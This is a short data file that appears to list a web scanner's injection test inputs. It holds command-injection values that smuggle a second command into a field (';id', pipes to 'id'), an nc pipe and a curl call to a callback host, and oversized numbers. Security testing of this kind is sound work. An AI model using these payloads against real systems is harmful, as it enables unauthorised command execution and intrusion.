1234

' | 'id

1234|echo -e "GET /AppScanMsg.html?varId=646 HTTP/1.0\r\n\r\n" | nc 169.254.155.110 8923|echo

1234

" | "id

99999999999999999999

1234;curl http://169.254.155.110:8923/AppScanMsg.html?varId=647;

id

-99999999999999999999

;id